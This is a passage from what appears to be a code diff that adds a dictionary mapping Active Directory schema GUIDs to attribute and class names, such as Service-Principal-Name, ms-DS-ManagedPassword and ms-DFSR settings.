'msRADIUSCallbackNumber', + 'b7b1311c-b82e-11d0-afee-0000f80367c1': 'Service-Binding-Information', + '0dc063c1-52d9-4456-9e15-9c2434aafd94': 'ms-DNS-Maintain-Trust-Anchor', + '45b01500-c419-11d1-bbc9-0080c76670c0': 'ANR', + '28630ebe-41d5-11d1-a9c1-0000f80367c1': 'Is-Defunct', + 'aa1c88fd-b0f6-429f-b2ca-9d902266e808': 'ms-DS-Revealed-List-BL', + 'db0c90a4-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedIPAddress', + 'bf967a35-0de6-11d0-a285-00aa003049e2': 'Service-Class-ID', + '5c5b7ad2-20fa-44bb-beb3-34b9c0f65579': 'ms-DNS-DS-Record-Algorithms', + '1be8f17d-a9ff-11d0-afe2-00c04fd930c9': 'Licensing-Site-Settings', + 'b7b13124-b82e-11d0-afee-0000f80367c1': 'Subnet', + '96a7dd65-9118-11d1-aebc-0000f80367c1': 'App-Schema-Version', + 'bf96798f-0de6-11d0-a285-00aa003049e2': 'Is-Deleted', + '011929e6-8b5d-4258-b64a-00b0b4949747': 'ms-DS-Last-Successful-Interactive-Logon-Time', + 'db0c90a9-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedRoute', + 'bf967a36-0de6-11d0-a285-00aa003049e2': 'Service-Class-Info', + '27d93c40-065a-43c0-bdd8-cdf2c7d120aa': 'ms-DNS-RFC5011-Key-Rollovers', + 'dd712226-10e4-11d0-a05f-00aa006c33ed': 'Application-Name', + 'f4c453f0-c5f1-11d1-bbcb-0080c76670c0': 'Is-Ephemeral', + 'c7e7dafa-10c3-4b8b-9acd-54f11063742e': 'ms-DS-Last-Failed-Interactive-Logon-Time', + 'db0c90b6-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSServiceType', + 'b7b1311d-b82e-11d0-afee-0000f80367c1': 'Service-Class-Name', + 'ff9e5552-7db7-4138-8888-05ce320a0323': 'ms-DNS-NSEC3-Hash-Algorithm', + 'ddac0cf5-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Object-Move-Table', + 'b7b13125-b82e-11d0-afee-0000f80367c1': 'Subnet-Container', + '8297931d-86d3-11d0-afda-00c04fd930c9': 'Applies-To', + 'bf967991-0de6-11d0-a285-00aa003049e2': 'Is-Member-Of-DL', + 'dc3ca86f-70ad-4960-8425-a4d6313d93dd': 'ms-DS-Failed-Interactive-Logon-Count', + 'db0c90c5-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedCallbackNumber', + '28630eb8-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name', + '13361665-916c-4de7-a59d-b1ebbd0de129': 'ms-DNS-NSEC3-Random-Salt-Length', + 'ba305f75-47e3-11d0-a1a6-00c04fd930c9': 'Asset-Number', + '19405b9d-3cfa-11d1-a9c0-0000f80367c1': 'Is-Member-Of-Partial-Attribute-Set', + 'c5d234e5-644a-4403-a665-e26e0aef5e98': 'ms-DS-Failed-Interactive-Logon-Count-At-Last-Successful-Logon', + 'db0c90c6-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedIPAddress', + '28630eba-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name-Type', + '80b70aab-8959-4ec0-8e93-126e76df3aca': 'ms-DNS-NSEC3-Iterations', + 'ddac0cf7-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-OMT-Entry', + '0296c11c-40da-11d1-a9c0-0000f80367c1': 'Assistant', + '19405b9c-3cfa-11d1-a9c0-0000f80367c1': 'Is-Privilege-Holder', + '31f7b8b6-c9f8-4f2d-a37b-58a823030331': 'ms-DS-USN-Last-Sync-Success', + 'db0c90c7-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedRoute', + 'bf967a37-0de6-11d0-a285-00aa003049e2': 'Service-Instance-Version', + '8f4e317f-28d7-442c-a6df-1f491f97b326': 'ms-DNS-DNSKEY-Record-Set-TTL', + 'bf967ab8-0de6-11d0-a285-00aa003049e2': 'Trusted-Domain', + '398f63c0-ca60-11d1-bbd1-0000f81f10c0': 'Assoc-NT-Account', + '8fb59256-55f1-444b-aacb-f5b482fe3459': 'Is-Recycled', + '78fc5d84-c1dc-3148-8984-58f792d41d3e': 'ms-DS-Value-Type-Reference', + 'bf9679d3-0de6-11d0-a285-00aa003049e2': 'Must-Contain', + 'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Service-Principal-Name', + '29869b7c-64c4-42fe-97d5-fbc2fa124160': 'ms-DNS-DS-Record-Set-TTL', + 'ddac0cf6-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Vol-Entry', + '3320fc38-c379-4c17-a510-1bdf6133c5da': 'associatedDomain', + 'bf967992-0de6-11d0-a285-00aa003049e2': 'Is-Single-Valued', + 'ab5543ad-23a1-3b45-b937-9b313d5474a8': 'ms-DS-Value-Type-Reference-BL', + '80212840-4bdc-11d1-a9c4-0000f80367c1': 'Name-Service-Flags', + '7d6c0e97-7e20-11d0-afd6-00c04fd930c9': 'Setup-Command', + '03d4c32e-e217-4a61-9699-7bbc4729a026': 'ms-DNS-Signature-Inception-Offset', + '281416e2-1968-11d0-a28f-00aa003049e2': 'Type-Library', + 'f7fbfc45-85ab-42a4-a435-780e62f7858b': 'associatedName', + 'bac80572-09c4-4fa9-9ae6-7628d7adbe0e': 'jpegPhoto', + '8a0560c1-97b9-4811-9db7-dc061598965b': 'ms-DS-Optional-Feature-Flags', + 'bf9679d6-0de6-11d0-a285-00aa003049e2': 'NC-Name', + '553fd039-f32e-11d0-b0bc-00c04fd8dca6': 'Shell-Context-Menu', + 'f6b0f0be-a8e4-4468-8fd9-c3c47b8722f9': 'ms-DNS-Secure-Delegation-Polling-Period', + 'ddac0cf4-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Volume-Table', + 'fa4693bb-7bc2-4cb9-81a8-c99c43b7905e': 'attributeCertificateAttribute', + 'bf967993-0de6-11d0-a285-00aa003049e2': 'Keywords', + 'bf9679d8-0de6-11d0-a285-00aa003049e2': 'NETBIOS-Name', + '52458039-ca6a-11d0-afff-0000f80367c1': 'Shell-Property-Pages', + '3443d8cd-e5b6-4f3b-b098-659a0214a079': 'ms-DNS-Signing-Key-Descriptors', + 'bf967abb-0de6-11d0-a285-00aa003049e2': 'Volume', + 'cb843f80-48d9-11d1-a9c3-0000f80367c1': 'Attribute-Display-Names', + '1677581f-47f3-11d1-a9c3-0000f80367c1': 'Knowledge-Information', + '07383076-91df-11d1-aebc-0000f80367c1': 'netboot-Allow-New-Clients', + '45b01501-c419-11d1-bbc9-0080c76670c0': 'Short-Server-Name', + 'b7673e6d-cad9-4e9e-b31a-63e8098fdd63': 'ms-DNS-Signing-Keys', + 'bf967aa0-0de6-11d0-a285-00aa003049e2': 'Locality', + 'bf967922-0de6-11d0-a285-00aa003049e2': 'Attribute-ID', + 'c569bb46-c680-44bc-a273-e6c227d71b45': 'labeledURI', + '0738307b-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Only-Valid-Clients', + '3e74f60e-3e73-11d1-a9c0-0000f80367c1': 'Show-In-Address-Book', + '28c458f5-602d-4ac9-a77c-b3f1be503a7e': 'ms-DNS-DNSKEY-Records', + 'ad44bb41-67d5-4d88-b575-7b20674e76d8': 'PosixAccount', + 'bf967924-0de6-11d0-a285-00aa003049e2': 'Attribute-Security-GUID', + '1fbb0be8-ba63-11d0-afef-0000f80367c1': 'Last-Backup-Restoration-Time', + '0738307a-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Requests', + 'bf967984-0de6-11d0-a285-00aa003049e2': 'Show-In-Advanced-View-Only', + '285c6964-c11a-499e-96d8-bf7c75a223c6': 'ms-DNS-Parent-Has-Secure-Delegation', + '52ab8671-5709-11d1-a9c6-0000f80367c1': 'Lost-And-Found', + 'bf967925-0de6-11d0-a285-00aa003049e2': 'Attribute-Syntax', + 'bf967995-0de6-11d0-a285-00aa003049e2': 'Last-Content-Indexed', + '5643ff81-35b6-4ca9-9512-baf0bd0a2772': 'ms-FRS-Hub-Member', + '07383079-91df-11d1-aebc-0000f80367c1': 'netboot-Current-Client-Count', + '17eb4278-d167-11d0-b002-0000f80367c1': 'SID-History', + 'ba340d47-2181-4ca0-a2f6-fae4479dab2a': 'ms-DNS-Propagation-Time', + '5b6d8467-1a18-4174-b350-9cc6e7b4ac8d': 'ShadowAccount', + '9a7ad944-ca53-11d1-bbd0-0080c76670c0': 'Attribute-Types', + '52ab8670-5709-11d1-a9c6-0000f80367c1': 'Last-Known-Parent', + '92aa27e0-5c50-402d-9ec1-ee847def9788': 'ms-FRS-Topology-Pref', + '3e978921-8c01-11d0-afda-00c04fd930c9': 'Netboot-GUID', + '2a39c5b2-8960-11d1-aebc-0000f80367c1': 'Signature-Algorithms', + 'aff16770-9622-4fbc-a128-3088777605b9': 'ms-DNS-NSEC3-User-Salt', + '11b6cc94-48c4-11d1-a9c3-0000f80367c1': 'Meeting', + 'd0e1d224-e1a0-42ce-a2da-793ba5244f35': 'audio', + 'bf967996-0de6-11d0-a285-00aa003049e2': 'Last-Logoff', + '1a861408-38c3-49ea-ba75-85481a77c655': 'ms-DFSR-Version', + '532570bd-3d77-424f-822f-0d636dc6daad': 'Netboot-DUID', + '3e978924-8c01-11d0-afda-00c04fd930c9': 'Site-GUID', + '387d9432-a6d1-4474-82cd-0a89aae084ae': 'ms-DNS-NSEC3-Current-Salt', + '2a9350b8-062c-4ed0-9903-dde10d06deba': 'PosixGroup', + '6da8a4fe-0e52-11d0-a286-00aa003049e2': 'Auditing-Policy', + 'bf967997-0de6-11d0-a285-00aa003049e2': 'Last-Logon', + '78f011ec-a766-4b19-adcf-7b81ed781a4d': 'ms-DFSR-Extension', + '3e978920-8c01-11d0-afda-00c04fd930c9': 'Netboot-Initialization', + 'd50c2cdd-8951-11d1-aebc-0000f80367c1': 'Site-Link-List', + '07831919-8f94-4fb6-8a42-91545dccdad3': 'ms-Authz-Effective-Security-Policy', + 'c9010e74-4e58-49f7-8a89-5e3e2340fcf8': 'ms-COM-Partition', + 'bf967928-0de6-11d0-a285-00aa003049e2': 'Authentication-Options', + 'c0e20a04-0e5a-4ff3-9482-5efeaecd7060': 'Last-Logon-Timestamp', + 'd7d5e8c1-e61f-464f-9fcf-20bbe0a2ec54': 'ms-DFSR-RootPath', + '0738307e-91df-11d1-aebc-0000f80367c1': 'netboot-IntelliMirror-OSes', + 'd50c2cdc-8951-11d1-aebc-0000f80367c1': 'Site-List', + 'b946bece-09b5-4b6a-b25a-4b63a330e80e': 'ms-Authz-Proposed-Security-Policy', + '2517fadf-fa97-48ad-9de6-79ac5721f864': 'IpService', + '1677578d-47f3-11d1-a9c3-0000f80367c1': 'Authority-Revocation-List', + 'bf967998-0de6-11d0-a285-00aa003049e2': 'Last-Set-Time', + '90b769ac-4413-43cf-ad7a-867142e740a3': 'ms-DFSR-RootSizeInMb', + '07383077-91df-11d1-aebc-0000f80367c1': 'netboot-Limit-Clients', + '3e10944c-c354-11d0-aff8-0000f80367c1': 'Site-Object', + '8e1685c6-3e2f-48a2-a58d-5af0ea789fa0': 'ms-Authz-Last-Effective-Security-Policy', + '250464ab-c417-497a-975a-9e0d459a7ca1': 'ms-COM-PartitionSet', + 'bf96792c-0de6-11d0-a285-00aa003049e2': 'Auxiliary-Class', + '7d6c0e9c-7e20-11d0-afd6-00c04fd930c9': 'Last-Update-Sequence', + '86b9a69e-f0a6-405d-99bb-77d977992c2a': 'ms-DFSR-StagingPath', + '07383080-91df-11d1-aebc-0000f80367c1': 'netboot-Locally-Installed-OSes', + '3e10944d-c354-11d0-aff8-0000f80367c1': 'Site-Object-BL', + '80997877-f874-4c68-864d-6e508a83bdbd': 'ms-Authz-Resource-Condition', + '9c2dcbd2-fbf0-4dc7-ace0-8356dcd0f013': 'IpProtocol', + 'bf96792d-0de6-11d0-a285-00aa003049e2': 'Bad-Password-Time', + '7359a352-90f7-11d1-aebc-0000f80367c1': 'LDAP-Admin-Limits', + '250a8f20-f6fc-4559-ae65-e4b24c67aebe': 'ms-DFSR-StagingSizeInMb', + '3e978923-8c01-11d0-afda-00c04fd930c9': 'Netboot-Machine-File-Path', + '1be8f17c-a9ff-11d0-afe2-00c04fd930c9': 'Site-Server', + '62f29b60-be74-4630-9456-2f6691993a86': 'ms-Authz-Central-Access-Policy-ID', + '90df3c3e-1854-4455-a5d7-cad40d56657a': 'ms-DS-App-Configuration', + 'bf96792e-0de6-11d0-a285-00aa003049e2': 'Bad-Pwd-Count', + 'bf96799a-0de6-11d0-a285-00aa003049e2': 'LDAP-Display-Name', + '5cf0bcc8-60f7-4bff-bda6-aea0344eb151': 'ms-DFSR-ConflictPath', + '07383078-91df-11d1-aebc-0000f80367c1': 'netboot-Max-Clients', + '26d9736f-6070-11d1-a9c6-0000f80367c1': 'SMTP-Mail-Address', + '57f22f7a-377e-42c3-9872-cec6f21d2e3e': 'ms-Authz-Member-Rules-In-Central-Access-Policy', + 'cadd1e5e-fefc-4f3f-b5a9-70e994204303': 'OncRpc', + '1f0075f9-7e40-11d0-afd6-00c04fd930c9': 'Birth-Location', + '7359a353-90f7-11d1-aebc-0000f80367c1': 'LDAP-IPDeny-List', + '9ad33fc9-aacf-4299-bb3e-d1fc6ea88e49': 'ms-DFSR-ConflictSizeInMb', + '2df90d85-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-Mirror-Data-File', + '2ab0e76c-7041-11d2-9905-0000f87a57d4': 'SPN-Mappings', + '516e67cf-fedd-4494-bb3a-bc506a948891': 'ms-Authz-Member-Rules-In-Central-Access-Policy-BL', + '9e67d761-e327-4d55-bc95-682f875e2f8e': 'ms-DS-App-Data', + 'd50c2cdb-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Server-List-BL', + '03726ae7-8e7d-4446-8aae-a91657c00993': 'ms-DFSR-Enabled', + '0738307c-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-Naming-Policy', + 'bf967a39-0de6-11d0-a285-00aa003049e2': 'State-Or-Province-Name', + 'fa32f2a6-f28b-47d0-bf91-663e8f910a72': 'ms-DS-Claim-Source', + 'ab911646-8827-4f95-8780-5a8f008eb68f': 'IpHost', + 'd50c2cda-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Transport-List', + 'bf96799b-0de6-11d0-a285-00aa003049e2': 'Link-ID', + 'eeed0fc8-1001-45ed-80cc-bbf744930720': 'ms-DFSR-ReplicationGroupType', + '0738307d-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-OU', + 'bf967a3a-0de6-11d0-a285-00aa003049e2': 'Street-Address', + '92f19c05-8dfa-4222-bbd1-2c4f01487754': 'ms-DS-Claim-Source-Type', + 'cfee1051-5f28-4bae-a863-5d0cc18a8ed1': 'ms-DS-Az-Admin-Manager', + 'f87fa54b-b2c5-4fd7-88c0-daccb21d93c5': 'buildingName', + '2ae80fe2-47b4-11d0-a1a4-00c04fd930c9': 'Link-Track-Secret', + '23e35d4c-e324-4861-a22f-e199140dae00': 'ms-DFSR-TombstoneExpiryInMin', + '07383082-91df-11d1-aebc-0000f80367c1': 'netboot-SCP-BL', + '3860949f-f6a8-4b38-9950-81ecb6bc2982': 'Structural-Object-Class', + '0c2ce4c7-f1c3-4482-8578-c60d4bb74422': 'ms-DS-Claim-Is-Value-Space-Restricted', + 'd95836c3-143e-43fb-992a-b057f1ecadf9': 'IpNetwork', + 'bf96792f-0de6-11d0-a285-00aa003049e2': 'Builtin-Creation-Time', + 'bf96799d-0de6-11d0-a285-00aa003049e2': 'Lm-Pwd-History', + 'd68270ac-a5dc-4841-a6ac-cd68be38c181': 'ms-DFSR-FileFilter', + '07383081-91df-11d1-aebc-0000f80367c1': 'netboot-Server', + 'bf967a3b-0de6-11d0-a285-00aa003049e2': 'Sub-Class-Of', + 'cd789fb9-96b4-4648-8219-ca378161af38': 'ms-DS-Claim-Is-Single-Valued', + 'ddf8de9b-cba5-4e12-842e-28d8b66f75ec': 'ms-DS-Az-Application', + 'bf967930-0de6-11d0-a285-00aa003049e2': 'Builtin-Modified-Count', + 'bf96799e-0de6-11d0-a285-00aa003049e2': 'Local-Policy-Flags', + '93c7b477-1f2e-4b40-b7bf-007e8d038ccf': 'ms-DFSR-DirectoryFilter', + '2df90d84-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-SIF-File', + 'bf967a3c-0de6-11d0-a285-00aa003049e2': 'Sub-Refs', + '1e5d393d-8cb7-4b4f-840a-973b36cc09c3': 'ms-DS-Generation-Id', + '72efbf84-6e7b-4a5c-a8db-8a75a7cad254': 'NisNetgroup', + 'bf967931-0de6-11d0-a285-00aa003049e2': 'Business-Category', + '80a67e4d-9f22-11d0-afdd-00c04fd930c9': 'Local-Policy-Reference', + '4699f15f-a71f-48e2-9ff5-5897c0759205': 'ms-DFSR-Schedule', + '0738307f-91df-11d1-aebc-0000f80367c1': 'netboot-Tools', + '9a7ad94d-ca53-11d1-bbd0-0080c76670c0': 'SubSchemaSubEntry', + 'a13df4e2-dbb0-4ceb-828b-8b2e143e9e81': 'ms-DS-Primary-Computer', + '860abe37-9a9b-4fa4-b3d2-b8ace5df9ec5': 'ms-DS-Az-Operation', + 'ba305f76-47e3-11d0-a1a6-00c04fd930c9': 'Bytes-Per-Minute', + 'bf9679a1-0de6-11d0-a285-00aa003049e2': 'Locale-ID', + '048b4692-6227-4b67-a074-c4437083e14b': 'ms-DFSR-Keywords', + 'bf9679d9-0de6-11d0-a285-00aa003049e2': 'Network-Address', + '963d274c-48be-11d1-a9c3-0000f80367c1': 'Super-Scope-Description', + '998c06ac-3f87-444e-a5df-11b03dc8a50c': 'ms-DS-Is-Primary-Computer-For', + '7672666c-02c1-4f33-9ecf-f649c1dd9b7c': 'NisMap', + 'bf967932-0de6-11d0-a285-00aa003049e2': 'CA-Certificate', + 'bf9679a2-0de6-11d0-a285-00aa003049e2': 'Locality-Name', + 'fe515695-3f61-45c8-9bfa-19c148c57b09': 'ms-DFSR-Flags', + 'bf9679da-0de6-11d0-a285-00aa003049e2': 'Next-Level-Store', + '963d274b-48be-11d1-a9c3-0000f80367c1': 'Super-Scopes', + 'db2c48b2-d14d-ec4e-9f58-ad579d8b440e': 'ms-Kds-KDF-AlgorithmID', + '8213eac9-9d55-44dc-925c-e9a52b927644': 'ms-DS-Az-Role', + '963d2740-48be-11d1-a9c3-0000f80367c1': 'CA-Certificate-DN', + 'd9e18316-8939-11d1-aebc-0000f80367c1': 'Localized-Description', + 'd6d67084-c720-417d-8647-b696237a114c': 'ms-DFSR-Options', + 'bf9679db-0de6-11d0-a285-00aa003049e2': 'Next-Rid', + '5245801d-ca6a-11d0-afff-0000f80367c1': 'Superior-DNS-Root', + '8a800772-f4b8-154f-b41c-2e4271eff7a7': 'ms-Kds-KDF-Param', + '904f8a93-4954-4c5f-b1e1-53c097a31e13': 'NisObject', + '963d2735-48be-11d1-a9c3-0000f80367c1': 'CA-Connect', + 'a746f0d1-78d0-11d2-9916-0000f87a57d4': 'Localization-Display-Id', + '1035a8e1-67a8-4c21-b7bb-031cdf99d7a0': 'ms-DFSR-ContentSetGuid', + '52458018-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member', + 'bf967a3f-0de6-11d0-a285-00aa003049e2': 'Supplemental-Credentials', + '1702975d-225e-cb4a-b15d-0daea8b5e990': 'ms-Kds-SecretAgreement-AlgorithmID', + '4feae054-ce55-47bb-860e-5b12063a51de': 'ms-DS-Az-Scope', + '963d2738-48be-11d1-a9c3-0000f80367c1': 'CA-Usages', + '09dcb79f-165f-11d0-a064-00aa006c33ed': 'Location', + 'e3b44e05-f4a7-4078-a730-f48670a743f8': 'ms-DFSR-RdcEnabled', + '52458019-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member-BL', + '1677588f-47f3-11d1-a9c3-0000f80367c1': 'Supported-Application-Context', + '30b099d9-edfe-7549-b807-eba444da79e9': 'ms-Kds-SecretAgreement-Param', + 'a699e529-a637-4b7d-a0fb-5dc466a0b8a7': 'IEEE802Device', + '963d2736-48be-11d1-a9c3-0000f80367c1': 'CA-WEB-URL', + 'bf9679a4-0de6-11d0-a285-00aa003049e2': 'Lock-Out-Observation-Window', + 'f402a330-ace5-4dc1-8cc9-74d900bf8ae0': 'ms-DFSR-RdcMinFileSizeInKb', + '19195a56-6da0-11d0-afd3-00c04fd930c9': 'Notification-List', + 'bf967a41-0de6-11d0-a285-00aa003049e2': 'Surname', + 'e338f470-39cd-4549-ab5b-f69f9e583fe0': 'ms-Kds-PublicKey-Length', + '1ed3a473-9b1b-418a-bfa0-3a37b95a5306': 'ms-DS-Az-Task', + 'd9e18314-8939-11d1-aebc-0000f80367c1': 'Can-Upgrade-Script', + 'bf9679a5-0de6-11d0-a285-00aa003049e2': 'Lockout-Duration', + '2cc903e2-398c-443b-ac86-ff6b01eac7ba': 'ms-DFSR-DfsPath', + 'bf9679df-0de6-11d0-a285-00aa003049e2': 'NT-Group-Members', + '037651e4-441d-11d1-a9c3-0000f80367c1': 'Sync-Attributes', + '615f42a1-37e7-1148-a0dd-3007e09cfc81': 'ms-Kds-PrivateKey-Length', + '4bcb2477-4bb3-4545-a9fc-fb66e136b435': 'BootableDevice', + '9a7ad945-ca53-11d1-bbd0-0080c76670c0': 'Canonical-Name', + 'bf9679a6-0de6-11d0-a285-00aa003049e2': 'Lockout-Threshold', + '51928e94-2cd8-4abe-b552-e50412444370': 'ms-DFSR-RootFence', + '3e97891f-8c01-11d0-afda-00c04fd930c9': 'NT-Mixed-Domain', + '037651e3-441d-11d1-a9c3-0000f80367c1': 'Sync-Membership', + '26627c27-08a2-0a40-a1b1-8dce85b42993': 'ms-Kds-RootKeyData', + '44f00041-35af-468b-b20a-6ce8737c580b': 'ms-DS-Optional-Feature', + 'd4159c92-957d-4a87-8a67-8d2934e01649': 'carLicense', + '28630ebf-41d5-11d1-a9c1-0000f80367c1': 'Lockout-Time', + '2dad8796-7619-4ff8-966e-0a5cc67b287f': 'ms-DFSR-ReplicationGroupGuid', + 'bf9679e2-0de6-11d0-a285-00aa003049e2': 'Nt-Pwd-History', + '037651e2-441d-11d1-a9c3-0000f80367c1': 'Sync-With-Object', + 'd5f07340-e6b0-1e4a-97be-0d3318bd9db1': 'ms-Kds-Version', + 'd6710785-86ff-44b7-85b5-f1f8689522ce': 'msSFU-30-Mail-Aliases', + '7bfdcb81-4807-11d1-a9c3-0000f80367c1': 'Catalogs', + 'bf9679a9-0de6-11d0-a285-00aa003049e2': 'Logo', + 'f7b85ba9-3bf9-428f-aab4-2eee6d56f063': 'ms-DFSR-DfsLinkTarget', + 'bf9679e3-0de6-11d0-a285-00aa003049e2': 'NT-Security-Descriptor', + '037651e5-441d-11d1-a9c3-0000f80367c1': 'Sync-With-SID', + '96400482-cf07-e94c-90e8-f2efc4f0495e': 'ms-Kds-DomainID', + '3bcd9db8-f84b-451c-952f-6c52b81f9ec6': 'ms-DS-Password-Settings', + '7bfdcb7e-4807-11d1-a9c3-0000f80367c1': 'Categories', + 'bf9679aa-0de6-11d0-a285-00aa003049e2': 'Logon-Count', + '261337aa-f1c3-44b2-bbea-c88d49e6f0c7': 'ms-DFSR-MemberReference', + 'bf9679e4-0de6-11d0-a285-00aa003049e2': 'Obj-Dist-Name', + 'bf967a43-0de6-11d0-a285-00aa003049e2': 'System-Auxiliary-Class', + '6cdc047f-f522-b74a-9a9c-d95ac8cdfda2': 'ms-Kds-UseStartTime', + 'e263192c-2a02-48df-9792-94f2328781a0': 'msSFU-30-Net-Id', + '7d6c0e94-7e20-11d0-afd6-00c04fd930c9': 'Category-Id', + 'bf9679ab-0de6-11d0-a285-00aa003049e2': 'Logon-Hours', + '6c7b5785-3d21-41bf-8a8a-627941544d5a': 'ms-DFSR-ComputerReference', + '26d97369-6070-11d1-a9c6-0000f80367c1': 'Object-Category', + 'e0fa1e62-9b45-11d0-afdd-00c04fd930c9': 'System-Flags', + 'ae18119f-6390-0045-b32d-97dbc701aef7': 'ms-Kds-CreateTime', + '5b06b06a-4cf3-44c0-bd16-43bc10a987da': 'ms-DS-Password-Settings-Container', + '963d2732-48be-11d1-a9c3-0000f80367c1': 'Certificate-Authority-Object', + 'bf9679ac-0de6-11d0-a285-00aa003049e2': 'Logon-Workstation', + 'adde62c6-1880-41ed-bd3c-30b7d25e14f0': 'ms-DFSR-MemberReferenceBL', + 'bf9679e5-0de6-11d0-a285-00aa003049e2': 'Object-Class', + 'bf967a44-0de6-11d0-a285-00aa003049e2': 'System-May-Contain', + '9cdfdbc5-0304-4569-95f6-c4f663fe5ae6': 'ms-Imaging-Thumbprint-Hash', + '36297dce-656b-4423-ab65-dabb2770819e': 'msSFU-30-Domain-Info', + '1677579f-47f3-11d1-a9c3-0000f80367c1': 'Certificate-Revocation-List', + 'bf9679ad-0de6-11d0-a285-00aa003049e2': 'LSA-Creation-Time', + '5eb526d7-d71b-44ae-8cc6-95460052e6ac': 'ms-DFSR-ComputerReferenceBL', + 'bf9679e6-0de6-11d0-a285-00aa003049e2': 'Object-Class-Category', + 'bf967a45-0de6-11d0-a285-00aa003049e2': 'System-Must-Contain', + '8ae70db5-6406-4196-92fe-f3bb557520a7': 'ms-Imaging-Hash-Algorithm', + 'da83fc4f-076f-4aea-b4dc-8f4dab9b5993': 'ms-DS-Quota-Container', + '2a39c5b1-8960-11d1-aebc-0000f80367c1': 'Certificate-Templates', + 'bf9679ae-0de6-11d0-a285-00aa003049e2': 'LSA-Modified-Count', + 'eb20e7d6-32ad-42de-b141-16ad2631b01b': 'ms-DFSR-Priority', + '9a7ad94b-ca53-11d1-bbd0-0080c76670c0': 'Object-Classes', + 'bf967a46-0de6-11d0-a285-00aa003049e2': 'System-Only', + '3f78c3e5-f79a-46bd-a0b8-9d18116ddc79': 'ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity', + 'e15334a3-0bf0-4427-b672-11f5d84acc92': 'msSFU-30-Network-User', + '548e1c22-dea6-11d0-b010-0000f80367c1': 'Class-Display-Name', + 'bf9679af-0de6-11d0-a285-00aa003049e2': 'Machine-Architecture', + '817cf0b8-db95-4914-b833-5a079ef65764': 'ms-DFSR-DeletedPath', + '34aaa216-b699-11d0-afee-0000f80367c1': 'Object-Count', + 'bf967a47-0de6-11d0-a285-00aa003049e2': 'System-Poss-Superiors', + 'e362ed86-b728-0842-b27d-2dea7a9df218': 'ms-DS-ManagedPassword', + 'de91fc26-bd02-4b52-ae26-795999e96fc7': 'ms-DS-Quota-Control', + 'bf967938-0de6-11d0-a285-00aa003049e2': 'Code-Page', + 'c9b6358e-bb38-11d0-afef-0000f80367c1': 'Machine-Password-Change-Interval', + '53ed9ad1-9975-41f4-83f5-0c061a12553a': 'ms-DFSR-DeletedSizeInMb', + 'bf9679e7-0de6-11d0-a285-00aa003049e2': 'Object-Guid', + 'bf967a49-0de6-11d0-a285-00aa003049e2': 'Telephone-Number', + '0e78295a-c6d3-0a40-b491-d62251ffa0a6': 'ms-DS-ManagedPasswordId', + 'faf733d0-f8eb-4dcf-8d75-f1753af6a50b': 'msSFU-30-NIS-Map-Config', + 'bf96793b-0de6-11d0-a285-00aa003049e2': 'COM-ClassID', + 'bf9679b2-0de6-11d0-a285-00aa003049e2': 'Machine-Role', + '5ac48021-e447-46e7-9d23-92c0c6a90dfb': 'ms-DFSR-ReadOnly', + 'bf9679e8-0de6-11d0-a285-00aa003049e2': 'Object-Sid', + 'bf967a4a-0de6-11d0-a285-00aa003049e2': 'Teletex-Terminal-Identifier', + 'd0d62131-2d4a-d04f-99d9-1c63646229a4': 'ms-DS-ManagedPasswordPreviousId', + 'ce206244-5827-4a86-ba1c-1c0c386c1b64': 'ms-DS-Managed-Service-Account', + '281416d9-1968-11d0-a28f-00aa003049e2': 'COM-CLSID', + '80a67e4f-9f22-11d0-afdd-00c04fd930c9': 'Machine-Wide-Policy', + 'db7a08e7-fc76-4569-a45f-f5ecb66a88b5': 'ms-DFSR-CachePolicy', + '16775848-47f3-11d1-a9c3-0000f80367c1': 'Object-Version', + 'bf967a4b-0de6-11d0-a285-00aa003049e2': 'Telex-Number', + 'f8758ef7-ac76-8843-a2ee-a26b4dcaf409': 'ms-DS-ManagedPasswordInterval', + '1cb81863-b822-4379-9ea2-5ff7bdc6386d': 'ms-net-ieee-80211-GroupPolicy', + 'bf96793c-0de6-11d0-a285-00aa003049e2': 'COM-InterfaceID', + '0296c120-40da-11d1-a9c0-0000f80367c1': 'Managed-By', + '4c5d607a-ce49-444a-9862-82a95f5d1fcc': 'ms-DFSR-MinDurationCacheInMin', + 'bf9679ea-0de6-11d0-a285-00aa003049e2': 'OEM-Information', + '0296c121-40da-11d1-a9c0-0000f80367c1': 'Telex-Primary', + '888eedd6-ce04-df40-b462-b8a50e41ba38': 'ms-DS-GroupMSAMembership', + '281416dd-1968-11d0-a28f-00aa003049e2': 'COM-Other-Prog-Id', + '0296c124-40da-11d1-a9c0-0000f80367c1': 'Managed-Objects', + '2ab0e48d-ac4e-4afc-83e5-a34240db6198': 'ms-DFSR-MaxAgeInCacheInMin', + 'bf9679ec-0de6-11d0-a285-00aa003049e2': 'OM-Object-Class', + 'ed9de9a0-7041-11d2-9905-0000f87a57d4': 'Template-Roots', + '55872b71-c4b2-3b48-ae51-4095f91ec600': 'ms-DS-Transformation-Rules', + '99a03a6a-ab19-4446-9350-0cb878ed2d9b': 'ms-net-ieee-8023-GroupPolicy', + 'bf96793d-0de6-11d0-a285-00aa003049e2': 'COM-ProgID', + 'bf9679b5-0de6-11d0-a285-00aa003049e2': 'Manager', + '43061ac1-c8ad-4ccc-b785-2bfac20fc60a': 'ms-FVE-RecoveryPassword', + 'bf9679ed-0de6-11d0-a285-00aa003049e2': 'OM-Syntax', + 